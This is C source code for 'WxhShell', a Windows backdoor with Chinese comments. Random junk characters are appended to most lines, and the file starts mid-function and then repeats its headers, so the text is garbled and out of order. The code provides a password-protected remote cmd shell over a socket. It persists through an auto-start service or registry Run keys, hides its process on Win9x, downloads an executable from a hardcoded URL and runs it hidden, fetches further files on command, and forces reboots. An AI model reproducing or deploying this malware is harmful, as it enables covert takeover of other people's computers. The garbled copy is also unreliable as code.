    if(Boot(SHUTDOWN)) LJ^n6 m|_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kjCXP  
    else { &)(>e}es  
    closesocket(wsh); 2|="!c8K  
    ExitThread(0); :exgdm;N  
    } c?@WNv  
    break; Vz=ByyC  
    } 82w;}(!  
  // 获取shell lr >:S  
  case 's': { Xz/5 Wis4  
    CmdShell(wsh); z^@.b  
    closesocket(wsh); IZr~h9  
    ExitThread(0); [VvTR#^  
    break; $e(]L(o;  
  } jg2 UX   
  // 退出 cvoE4&m!  
  case 'x': { T6T3:DG_B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); px|y_.DB2x  
    CloseIt(wsh); PKDzIA~T  
    break; x#wkODLqi  
    } m8Wv46%  
  // 离开 ~|W0+&):  
  case 'q': { , 7` /D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !Q-h#']~L  
    closesocket(wsh); V L^.7U  
    WSACleanup(); kzMul<>sl  
    exit(1); Yd} Jz  
    break; Y}db<Cz X  
        } d! BQ%a  
  } C!]R0L*  
  } KyQO>g{R  
JnC$}amr  
  // 提示信息 0Dx,)C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (#|CL/&  
} f9+J}  
  } G~$.Af!9W  
ejr9e@D^  
  return; CV9o,rL  
} J%8M+!`F  
0F"W~OQ6  
// shell模块句柄 ~&zrDj~FI  
int CmdShell(SOCKET sock) MCPVql`+`q  
{ }]dK26pX  
STARTUPINFO si; &E{CQ#k  
ZeroMemory(&si,sizeof(si)); U8f!yXF'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +XaRwcLC.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ySfot`LQ  
PROCESS_INFORMATION ProcessInfo; &m=GkK  
char cmdline[]="cmd"; dA)JR"r2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }OQaQf9V{  
  return 0; U9?fUS  
} % oPt],>  
tl:V8sYTP  
// 自身启动模式 d|P,e;m-  
int StartFromService(void) W^a-K  
{ VR8 kY&  
typedef struct 74[wZDW|(  
{ S JseP_-  
  DWORD ExitStatus; GJu[af  
  DWORD PebBaseAddress; <7U\@si4  
  DWORD AffinityMask; 2)iwAu   
  DWORD BasePriority; + ESEAi91  
  ULONG UniqueProcessId; ,M4G_U[  
  ULONG InheritedFromUniqueProcessId; C:*=tD1  
}   PROCESS_BASIC_INFORMATION; %anY'GK   
fU6O:-  
PROCNTQSIP NtQueryInformationProcess; {Xw6]d  
{D6p?TL+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (D\7EH\9,]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n@TK}?\UoR  
Su4&qY  
  HANDLE             hProcess; Aof)WKo  
  PROCESS_BASIC_INFORMATION pbi; QR ?JN\%?  
nrhzNW>]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |S0w>VH>  
  if(NULL == hInst ) return 0; QLs9W& PG  
0XcH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ \yZ;Z:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p)u?x)w=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Po)!vL"   
j&(Yk"j+  
  if (!NtQueryInformationProcess) return 0; Ipp#{'Do  
P{bRRn4Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GiZv0>*x  
  if(!hProcess) return 0; kFRl+,bi~  
6-fdfU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  Kl'u  
65HP9`5Tm  
  CloseHandle(hProcess); Z! /!4(Fh  
Q!91uNL  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v)f;dq^z-  
if(hProcess==NULL) return 0; ~nVO%IxM4J  
B~CdY}UTsj  
HMODULE hMod; Daw;6f:  
char procName[255]; 'bd|Oww1u  
unsigned long cbNeeded; l.@v@T(/  
#`HY"-7m_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9a6ij*#  
y6hb-: #1  
  CloseHandle(hProcess); qxQuXF>:#  
<Jf[N=  
if(strstr(procName,"services")) return 1; // 以服务启动 |3bCq(ZR\P  
eT'Z;ZO  
  return 0; // 注册表启动 *=2sXH1j  
} Uh w:XV@m  
<hV%OrBz-  
// 主模块 'vX:)ZDi  
int StartWxhshell(LPSTR lpCmdLine) /q^\g4J  
{ m8T< x>  
  SOCKET wsl; n9%&HDl4  
BOOL val=TRUE; b2tUJ2p  
  int port=0; ppP0W `p  
  struct sockaddr_in door; HM]mOmL90N  
RPB%6z$  
  if(wscfg.ws_autoins) Install(); t:O"t G  
KLBX2H2^0  
port=atoi(lpCmdLine); ( kKQs")  
=pCO1<wR  
if(port<=0) port=wscfg.ws_port; Wik8V0(  
W>o>Y$H  
  WSADATA data; W{i s2s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }e K.\_t=  
8Y,imj\(v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xU!eT'Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0! W$Cz[  
  door.sin_family = AF_INET; /Xm4%~b_gj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MS~+P'  
  door.sin_port = htons(port); JW}O`H9  
ln2lFfz  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %K[u  
closesocket(wsl); W7` fI*lc  
return 1; ,\RZ+kC>~  
} >Y6iLQ$X  
pQNTN.L9NZ  
  if(listen(wsl,2) == INVALID_SOCKET) { -<{;.~nI.  
closesocket(wsl); u85  dG7  
return 1; cuoZ:Wh  
} '* eeup  
  Wxhshell(wsl); b6?&h:{k  
  WSACleanup(); (MGYX_rD  
EY^+ N>  
return 0; X-<l+WP  
JC.nfxG@:  
} .Cz9?]jyI  
_+6aD|7x  
// 以NT服务方式启动 ~QngCg-5q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fl}{"eCF8  
{ <}Hs@`jS  
DWORD   status = 0; n)uck5  
  DWORD   specificError = 0xfffffff; i}gsxq%  
KK';ho,W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P;U(2;9 N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9SQc ChG~j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _]t^F9l  
  serviceStatus.dwWin32ExitCode     = 0; L}\ oFjVju  
  serviceStatus.dwServiceSpecificExitCode = 0; EM7Z g 65  
  serviceStatus.dwCheckPoint       = 0; b[rVr J  
  serviceStatus.dwWaitHint       = 0; a{@gzB  
Db K(Rh_ K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yv/T6z@  
  if (hServiceStatusHandle==0) return; .z, ot|  
gZ>) S@  
status = GetLastError(); [J8;V|v  
  if (status!=NO_ERROR) 045_0+r"@  
{ `LOW)|6r`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sXwa`_{  
    serviceStatus.dwCheckPoint       = 0; F #)@ c  
    serviceStatus.dwWaitHint       = 0; E<[ Y KY  
    serviceStatus.dwWin32ExitCode     = status; fZavZ\qU  
    serviceStatus.dwServiceSpecificExitCode = specificError; y#{v\h Cz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); isU4D  
    return; n09P!],Xa  
  } eL_Il.:  
|" ag'h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V [Wo9Y\  
  serviceStatus.dwCheckPoint       = 0; a7}O.NDf  
  serviceStatus.dwWaitHint       = 0; ;-^8lWt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~7>D>!!  
} O_ d[{e=5`  
lw43|_'G-t  
// 处理NT服务事件,比如:启动、停止 %j/}e>$"Nk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lSG]{  
{ a];1)zVA6  
switch(fdwControl) Ku?1QDhrF*  
{ ;~GBD]  
case SERVICE_CONTROL_STOP: 1<;VD0XX  
  serviceStatus.dwWin32ExitCode = 0; slQEAqG)B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UuCRQNH  
  serviceStatus.dwCheckPoint   = 0; 2QgD<  
  serviceStatus.dwWaitHint     = 0; 9/h[(qvT  
  { 8l*h\p:Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FGzn|I  
  } k`B S{,=  
  return; _t>[gB,  
case SERVICE_CONTROL_PAUSE: l\WN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3}lIY7 O  
  break; V-9\@'gc  
case SERVICE_CONTROL_CONTINUE: .Vrl:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; OCELG~  
  break; >BZ,g!N,J}  
case SERVICE_CONTROL_INTERROGATE: /s@j{*Om  
  break; s+E: 7T9P  
}; o8X? 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?&-$Zog  
} LSrKi$   
{ u3giB  
// 标准应用程序主函数 eig{~3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g?N^9B,$2  
{ t=fr`|!  
,WBKN)%u  
// 获取操作系统版本 iGN6'm`  
OsIsNt=GetOsVer(); EE-wi@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); phR:=Ox|1  
89j*uT  
  // 从命令行安装 >P ~j@Lv  
  if(strpbrk(lpCmdLine,"iI")) Install(); P)O:lYX  
^Rh}[  
  // 下载执行文件 * !9=?  
if(wscfg.ws_downexe) { +DaKP)H\:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^<3{0g-"AW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2B"tT"f  
} *j<{3$6Ii  
?}U?Q7vx@@  
if(!OsIsNt) { w:ASB>,!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ZgfhNI\  
HideProc(); O1 !YHo  
StartWxhshell(lpCmdLine); mD%IHzbn H  
} [Z^26/5a  
else 7Vu f4Z5  
  if(StartFromService()) ~ga WZQXyu  
  // 以服务方式启动 iB5q"hoZC  
  StartServiceCtrlDispatcher(DispatchTable); 6mqp`x`  
else QjKh#sU&  
  // 普通方式启动 urg^>n4V]  
  StartWxhshell(lpCmdLine); (Q=:ln;kM  
bg5i+a,?  
return 0; .{-X1tJ7  
} ?2q0[T?e  
V\AY=u  
3WM*4   
b94+GL U8b  
=========================================== c-"vQ>ux+  
= |E8z u%  
\,#;gS "  
Qq%~e41ec  
BIEq(/-  
5,+fM6^V  
" `FwE^_9d  
PQUJUs  
#include <stdio.h> h.wffk,  
#include <string.h> )q`.tsR>  
#include <windows.h> "wCx]{Di  
#include <winsock2.h> *'*n}fM  
#include <winsvc.h> ~14|y|\/  
#include <urlmon.h> <"8F=3:uk  
4"UH~A;^  
#pragma comment (lib, "Ws2_32.lib") 2f1Q&S  
#pragma comment (lib, "urlmon.lib") r4d#;S9{o  
jO9! :L>b`  
#define MAX_USER   100 // 最大客户端连接数 WcY$=\7  
#define BUF_SOCK   200 // sock buffer P)Rq\1:  
#define KEY_BUFF   255 // 输入 buffer Q5A,9ovNZ  
_5S||TuNS  
#define REBOOT     0   // 重启 [930=rF*  
#define SHUTDOWN   1   // 关机 wYLodMaYH  
l[u17,]S  
#define DEF_PORT   5000 // 监听端口 8@b`a]lgrd  
putRc??o;  
#define REG_LEN     16   // 注册表键长度 ui-]%~  
#define SVC_LEN     80   // NT服务名长度 x.$cP  
ttls.~DG  
// 从dll定义API wp83E,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bw~jqDZ}|  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); L9oLdWa(C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6&QOC9JW+7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lq2jXy5#n  
`q`ah_  
// wxhshell配置信息 ^j@+!A_.Q  
struct WSCFG { 'u%vpvF  
  int ws_port;         // 监听端口 vz)R84   
  char ws_passstr[REG_LEN]; // 口令 {Us^ 4Xe  
  int ws_autoins;       // 安装标记, 1=yes 0=no NwdrJw9  
  char ws_regname[REG_LEN]; // 注册表键名 >I-rsw2  
  char ws_svcname[REG_LEN]; // 服务名 &3J^z7kU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {jv+ J L"5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 x!7r7|iV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WX]O1Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no EdTL]Xk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" olr-oi`4C  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Mp=T;Nz  
|!/+ T^u  
}; p]<)6sZ  
T]/5aA4  
// default Wxhshell configuration 4>HaKJ-c#  
struct WSCFG wscfg={DEF_PORT, 5<e{)$C  
    "xuhuanlingzhe",  U ^nv)  
    1, g7^|(!Y%  
    "Wxhshell", !D?(}nag  
    "Wxhshell", a4 7e  
            "WxhShell Service", n 83Dt*O  
    "Wrsky Windows CmdShell Service", f96`n+>x i  
    "Please Input Your Password: ", aX zb]">  
  1, vxug>2  
  "http://www.wrsky.com/wxhshell.exe", =qbN?a/?2  
  "Wxhshell.exe" 5;G0$M0  
    }; }/#*opcv  
n).*=YLN  
// 消息定义模块 Bp@\p)P(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &,3s2,1U(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |i~-,:/-Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LwTdmR  
char *msg_ws_ext="\n\rExit."; /n6ZN4  
char *msg_ws_end="\n\rQuit."; 8TG|frS  
char *msg_ws_boot="\n\rReboot..."; UG_ PrZd  
char *msg_ws_poff="\n\rShutdown..."; D?UURURf  
char *msg_ws_down="\n\rSave to "; {p$@)b  
m 9\"B3sr  
char *msg_ws_err="\n\rErr!"; U|{4=[  
char *msg_ws_ok="\n\rOK!"; 1B:5O*I!J  
MppT"t  
char ExeFile[MAX_PATH]; z}B8&*>  
int nUser = 0; {'[VL;k  
HANDLE handles[MAX_USER]; G9V2(P  
int OsIsNt; ?3qp?ea  
j8 `7)^  
SERVICE_STATUS       serviceStatus; UbGnU_}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }_F:]lI*R  
hW9!  
// 函数声明 &}0QnO_mj  
int Install(void); |@d}O8  
int Uninstall(void); , s otZT  
int DownloadFile(char *sURL, SOCKET wsh); 7 h0u7N  
int Boot(int flag); w<zzS: PF*  
void HideProc(void); 7+}WU4  
int GetOsVer(void); [8q`~S%-]  
int Wxhshell(SOCKET wsl); XT*/aa-1'  
void TalkWithClient(void *cs); Z_edNf }|  
int CmdShell(SOCKET sock); wnK6jMjkSf  
int StartFromService(void); 9+$IulOvk  
int StartWxhshell(LPSTR lpCmdLine); 2+?W{yAEi  
x!vyjp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v=+3AW-|v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {\NBNg(Vo  
<}h <By)  
// 数据结构和表定义 $tI<MZ&Z  
SERVICE_TABLE_ENTRY DispatchTable[] = 2y|n!p T  
{ + !" Y C  
{wscfg.ws_svcname, NTServiceMain}, .C5<uW5-R  
{NULL, NULL} n~BQq-1  
}; SIKaDIZ  
w{lj'3z I  
// 自我安装 Oo-4WqRJ  
int Install(void) tQYV4h\Qj  
{ eK5~gnv,  
  char svExeFile[MAX_PATH]; zUDXkG*Lv  
  HKEY key; Qds:*]vGS  
  strcpy(svExeFile,ExeFile); +?ZP3vgGA  
B0A y  
// 如果是win9x系统,修改注册表设为自启动 Mw"[2PA  
if(!OsIsNt) { 8a]g>g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7=yjd)Iy9m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w ^^l,  
  RegCloseKey(key); nd,\<}uP9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y<kz+d,C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W(Md0*   
  RegCloseKey(key); K'e,9P{  
  return 0; u"%D;  
    } +5I'? _{V  
  } 6v]`s  
} dZ8ldpf8  
else {  qT #=C'?  
ZXkrFA |  
// 如果是NT以上系统,安装为系统服务  - US>].  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H3vnc\d~  
if (schSCManager!=0) a&2x;diF  
{ EYZ&%.Sy5  
  SC_HANDLE schService = CreateService OwPHp&{ Y  
  ( +-SO}P  
  schSCManager, wtfH3v  
  wscfg.ws_svcname, ujN~l_ 4  
  wscfg.ws_svcdisp, {dP6fr1z  
  SERVICE_ALL_ACCESS, $)c[FR~a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , MxI*ml8z?  
  SERVICE_AUTO_START, t9*e"QH  
  SERVICE_ERROR_NORMAL, (3Xs  
  svExeFile, [{R>'~  
  NULL, "PWGtM:L8Y  
  NULL, -P-8D6   
  NULL, 0u&x%c  
  NULL, k%\y,b*  
  NULL )F\kGe  
  ); fv+d3s?h  
  if (schService!=0) <HTz  
  { pDJN}XtjT  
  CloseServiceHandle(schService); r#_0_I1[  
  CloseServiceHandle(schSCManager); R]Z#VnL@qz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /*BK6hc  
  strcat(svExeFile,wscfg.ws_svcname); %Ie,J5g5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]q4LN o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZREy I(_  
  RegCloseKey(key); KF@%tR}V{  
  return 0; q4Bw5 ~n  
    } *?C8,;=2r  
  } 4M|C>My  
  CloseServiceHandle(schSCManager); #O,w{S  
} !};Ll=dz  
} Z%LS{o~LK.  
hR:i!  
return 1; _A& [rBm|  
} " W{rS4L  
v$x)$/]n  
// 自我卸载 QmGK! H>3  
int Uninstall(void) l Le&q  
{ "'+C%  
  HKEY key; d(d3@b4Ta  
U(x$&um(l  
if(!OsIsNt) { y!:vX6l  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zFipuG02  
  RegDeleteValue(key,wscfg.ws_regname); \L$]2"/v-  
  RegCloseKey(key); PY4a3dp U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UM`$aPz  
  RegDeleteValue(key,wscfg.ws_regname); L0H^S)g  
  RegCloseKey(key); bF*Kb"!CF  
  return 0; }?Pa(0=U  
  } |0>rojMq  
}  P s|[  
} /NR*<,c%  
else { QhAYCw2  
oa5L5Zr,A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); zL50|U0H  
if (schSCManager!=0) d!Ws-kzE  
{  r3OtQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); EV* |\ te  
  if (schService!=0) -iW>T5f  
  { S;iD~>KP  
  if(DeleteService(schService)!=0) { WLh!L='{BK  
  CloseServiceHandle(schService); mI:D  
  CloseServiceHandle(schSCManager); k\/es1jOEh  
  return 0; Dp#27Yzc  
  } s(s_v ?k  
  CloseServiceHandle(schService); }TuMMO4+  
  } 1rue+GL  
  CloseServiceHandle(schSCManager); CN-4FI)1D9  
} ?}W#j  
} -;HZ!Lf  
C R't  
return 1; Bd;EI)JT  
} $:-C9N29  
,,IK}  
// 从指定url下载文件 'cIFbjJ  
int DownloadFile(char *sURL, SOCKET wsh) L8zMzm=-  
{ x 2l}$(7  
  HRESULT hr; N>P" $  
char seps[]= "/"; f4dHOH  
char *token; EL2z&  
char *file; 2JeEmG9  
char myURL[MAX_PATH]; [!} uj`e  
char myFILE[MAX_PATH]; Kuk@x.~0m  
yTe25l{QaF  
strcpy(myURL,sURL); fHI@' '0  
  token=strtok(myURL,seps); #L*MMC"  
  while(token!=NULL) [5M!'  
  { VzcW9'"#  
    file=token; /z)8k4  
  token=strtok(NULL,seps); yd45y}uS;F  
  } U}=H1f,  
M3GFKWQI,`  
GetCurrentDirectory(MAX_PATH,myFILE); 6OQ\f,h@  
strcat(myFILE, "\\"); h4ghMBo%  
strcat(myFILE, file); AI9=?X<kh  
  send(wsh,myFILE,strlen(myFILE),0); -A:'D8o#f  
send(wsh,"...",3,0); Kl(u~/=6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~aL?{kb+  
  if(hr==S_OK) (\%+id|/q@  
return 0; lfw BUb  
else v"J|Ebx  
return 1; w#bdb;  
cyL|.2,  
} oK"#*n  
A v/y  
// 系统电源模块 #\z"k<{*  
int Boot(int flag) [E}pU8.t6  
{ Nk F2'Z{$+  
  HANDLE hToken; 1'k,P;s  
  TOKEN_PRIVILEGES tkp; =)Goip  
: :/vDUDc  
  if(OsIsNt) { y>g`R^^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IY(;:#l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SQuW`EHBgs  
    tkp.PrivilegeCount = 1; t +CU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IueI7A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ye  >+  
if(flag==REBOOT) { )$2h:dw_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) g%4=T~  
  return 0; n0^3F1Z  
} [ID#P Ule  
else { -#AO4xpI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3[m~6 Ys  
  return 0; 4'`*Sce}  
} oT}Sh4Wt.  
  } cavzXz  
  else { 4&`d$K  
if(flag==REBOOT) { {?IUf~<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bGB5]%v,  
  return 0; uv7tbI"r  
} W}\<}dK  
else { ]k.YG!$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p!K]c D  
  return 0; P$`k* v  
} &=.7-iC|W  
} + j6^g*  
6~8dMy;w  
return 1; k~$}&O  
} M:K4o%  
Z2k5qs7g  
// win9x进程隐藏模块 ` B+Pl6l)F  
void HideProc(void) Pj*"2 LBW#  
{ -9"[/  
piPV&ytI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Jqt|' G3  
  if ( hKernel != NULL ) hXn@vK6  
  { G0x!:[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7{ QjE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L0xh?B  
    FreeLibrary(hKernel); -$y/*'  
  } O'W[/\A56M  
2fdC @V  
return; 5 |oi*b  
} yrrP#F  
Y2y = P  
// 获取操作系统版本 BUEV+SZ4  
int GetOsVer(void) I%ZSh]On  
{ M0RVEhX  
  OSVERSIONINFO winfo; B+=Xb;p8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \YF'qWB  
  GetVersionEx(&winfo); 1f5;^T I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) th|TwD&mO  
  return 1; ebB8.(k9G3  
  else 0J9Ub   
  return 0; YoRD9M~iG~  
} =xHzhh  
7C^W<SUo  
// 客户端句柄模块 '\B!1B>T  
int Wxhshell(SOCKET wsl) 'ewVn1ME[  
{ |f"1I4K g  
  SOCKET wsh; lO^YAOY  
  struct sockaddr_in client; K>`*JJ,  
  DWORD myID; Cv1CRmqq%  
dIvvJk8  
  while(nUser<MAX_USER) 3=kw{r[2lM  
{ vtf`+q  
  int nSize=sizeof(client); &0@AM_b  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); zB)wY KwZ  
  if(wsh==INVALID_SOCKET) return 1; ( ESmP  
\EeK<)4:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mF] 8  
if(handles[nUser]==0) >`.$Tyw  
  closesocket(wsh); 2lBfc  
else Y>'t)PK  
  nUser++; Ezw<  
  } Zk 9i}H  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x?-kt.M  
.&c!k1kH  
  return 0; DP7B X^e  
} Pt %EyFG  
BYsQu.N  
// 关闭 socket 6SmawPPP  
void CloseIt(SOCKET wsh) uze5u\  
{ Je;HAhL  
closesocket(wsh); WEB enGQ  
nUser--; u69s}yZ  
ExitThread(0); *Mr'/qp,  
} 5JRj'G0I  
&+F}$8,  
// 客户端请求句柄 \"hP*DJ"  
void TalkWithClient(void *cs) r#' E;Yx  
{ Fpf-Fa-K\b  
BZWGXzOFh  
  SOCKET wsh=(SOCKET)cs; :jioF{,  
  char pwd[SVC_LEN]; AoN |&o  
  char cmd[KEY_BUFF]; ?$rH yI  
char chr[1]; O2>W#7  
int i,j; L k]/{t0  
0@PI=JZ%  
  while (nUser < MAX_USER) { 5QJ FNE  
BpZ17"\z  
if(wscfg.ws_passstr) { @k,}>Tk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A**PGy.Ni  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )1S"D~j-  
  //ZeroMemory(pwd,KEY_BUFF); \{M/Do:  
      i=0; %W]" JwRu  
  while(i<SVC_LEN) { [+Y;w`;Fq  
SB2Ij',  
  // 设置超时 SI@Yct]<g  
  fd_set FdRead; 9q f=P3  
  struct timeval TimeOut; - -H%FYF`  
  FD_ZERO(&FdRead); :~+m9r  
  FD_SET(wsh,&FdRead); w?zY9Fs=s  
  TimeOut.tv_sec=8; tR% &.,2  
  TimeOut.tv_usec=0; B< BS>(Nr>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 14;lB.$p  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |9cSG),z  
/"OJ~e_%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9\D0mjn=l  
  pwd=chr[0]; n aB`@  
  if(chr[0]==0xd || chr[0]==0xa) { =5Auk 5&  
  pwd=0; H g;;>  
  break; AIa#t#8${  
  } OLM}en_L  
  i++; 0] $5jW6]  
    } /N82h`\n  
\H5{[ZUn  
  // 如果是非法用户,关闭 socket C1KO]e>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -$m?ShDd  
} ^L;k  
Q.Ljz Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i@ XFnt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5!)_" u3  
oc3}L^aD  
while(1) { (N25.}8Y  
'=eE6=m^K  
  ZeroMemory(cmd,KEY_BUFF); <FFaaGiE>  
@:"GgkyDl#  
      // 自动支持客户端 telnet标准   vswBK-w(Z  
  j=0; [v$NxmRu  
  while(j<KEY_BUFF) { #[{xEVf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mjz<,s`D  
  cmd[j]=chr[0]; '+{dr\nJ  
  if(chr[0]==0xa || chr[0]==0xd) { l]o)KM<  
  cmd[j]=0; 6 C|]Fm  
  break; 'uOzC"_yF  
  } iNAaTU  
  j++; HfgK0wIi  
    } Bpw<{U  
,"W.A  
  // 下载文件 hPHrq{YZ  
  if(strstr(cmd,"http://")) { Du2v,n5@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !HP/`R  
  if(DownloadFile(cmd,wsh)) P?P))UB5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ho:X.Z9A^  
  else !1\j D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DfQD!}=  
  } XUyoZl?  
  else { T>;Kq;(9  
.wfN.Z  
    switch(cmd[0]) { Z*rA~`@K6  
  Ut xe  
